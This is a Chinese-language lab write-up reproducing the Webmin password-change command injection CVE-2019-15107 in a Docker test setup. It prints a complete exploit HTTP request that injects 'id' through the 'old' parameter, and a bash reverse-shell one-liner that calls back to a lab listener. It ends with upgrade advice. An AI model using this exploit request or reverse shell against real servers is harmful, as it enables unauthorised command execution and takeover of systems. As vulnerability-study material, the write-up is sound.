天天看点

【漏洞复现】Webmin 远程命令执行漏洞(CVE-2019-15107)

0x01 概述

Webmin是目前功能最强大的基于Web的Unix系统管理工具。管理员通过浏览器访问Webmin的各种管理功能并完成相应的管理动作。在其找回密码页面中,存在一处无需权限的命令注入漏洞,通过这个漏洞攻击者即可以执行任意系统命令。当版本为1.890时,工具在默认配置下易受漏洞的威胁,而在其它版本当用户开启密码过期策略时,受该漏洞威胁。

官方给的修补是直接删除了代码中的

qx/..../

,而且该应用在官方提供的sourceforge下载的源码才包含这个漏洞,而官方Github上的代码是安全的。这也证明这个RCE漏洞很有可能是一次供应链攻击,黑客控制了官方sourceforge账户并植入了后门。

大佬的文章非常清晰明了,可以看看:

https://blog.csdn.net/qq_43380549/article/details/100011292

0x02 影响版本

webmin=1.882-1.920

条件:1.890版本,漏洞点的触发只需要在修改密码处传一个expired参数执行命令即可。不需要passwd_mode=2的必要条件。除1.890版本,其余受影响的版本的服务器的配置文件需passwd_mode=2的条件。无需用户名密码,可执行任意命令。

0x03 漏洞环境

centos+docker(CVE-2019-15107) webmin 1.910

1、访问

https://192.168.178.128:10000

【漏洞复现】Webmin 远程命令执行漏洞(CVE-2019-15107)

2、登录前去修改一下root的密码(不然登不进去),

docker exec -it 0cfbca18f396 /bin/bash

,当前版本需要进webmin容器里开启密码重置功能

【漏洞复现】Webmin 远程命令执行漏洞(CVE-2019-15107)

3、登陆后,

Webmin-> Webmin Configuration-> Authentication

把“允许用户使用旧密码设置新密码”的选项给选上,保存!vulhub的默认是选上了的。

【漏洞复现】Webmin 远程命令执行漏洞(CVE-2019-15107)

4、查看配置文件

cat /etc/webmin/miniserv.conf

【漏洞复现】Webmin 远程命令执行漏洞(CVE-2019-15107)

0x04 漏洞复现

该漏洞利用条件简单,无需登录,直接发送post请求包即可,需保证Host和Referer都为

https://IP:10000

一、命令执行:

1、抓取修改密码处的包

【漏洞复现】Webmin 远程命令执行漏洞(CVE-2019-15107)
【漏洞复现】Webmin 远程命令执行漏洞(CVE-2019-15107)

2、将请求改为

password_change.cgi

,post数据包中的参数也需要改一下,利用点在old参数处,利用

|

符号执行命令,这里root用户是Linux系统的root用户,linux系统的用户认证方式为Unix authenticaton,所以会受限制;用户为空、随便写或用户为webmin用户,认证方式为无。

原:

user=root&one=&new=12345678&repeat=12345678&others=1

改:

user=tttt&old=11|id&new1=12345678&new2=12345678&others=1

【漏洞复现】Webmin 远程命令执行漏洞(CVE-2019-15107)

3、1.890版本利用只需要在post数据中有expired参数,expired=whoami就可以执行。

4、1.9.10版本请求包:

POST /password_change.cgi HTTP/1.1
Host: 192.168.178.128:10000
Connection: close
Content-Length: 57
X-PJAX-URL: save_passwd.cgi
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Content-Type: text/plain;charset=UTF-8
X-Requested-From: passwd
Accept: text/html, */*; q=0.01
X-Requested-From-Tab: webmin
X-Requested-With: XMLHttpRequest
X-PJAX: true
X-PJAX-Container: [data-dcontainer]
Origin: https://192.168.178.128:10000
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.178.128:10000/passwd/edit_passwd.cgi?user=root&xnavigation=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: redirect=1; testing=1; sid=df8de950b9d2b05f1822332afda5ba44; sessiontest=1

user=root1&old=11|id&new1=12345678&new2=12345678&others=1
           

4、命令执行成功

【漏洞复现】Webmin 远程命令执行漏洞(CVE-2019-15107)

二、反弹shell:

1、将

bash -c "bash -i >& /dev/tcp/192.168.178.3/4444 0>&1"

命令使用URL编码后放到可执行命令的参数后

【漏洞复现】Webmin 远程命令执行漏洞(CVE-2019-15107)

2、执行后返回空白,同时收到shell,反弹成功

【漏洞复现】Webmin 远程命令执行漏洞(CVE-2019-15107)

0x05 修复建议

升级到1.930版本

继续阅读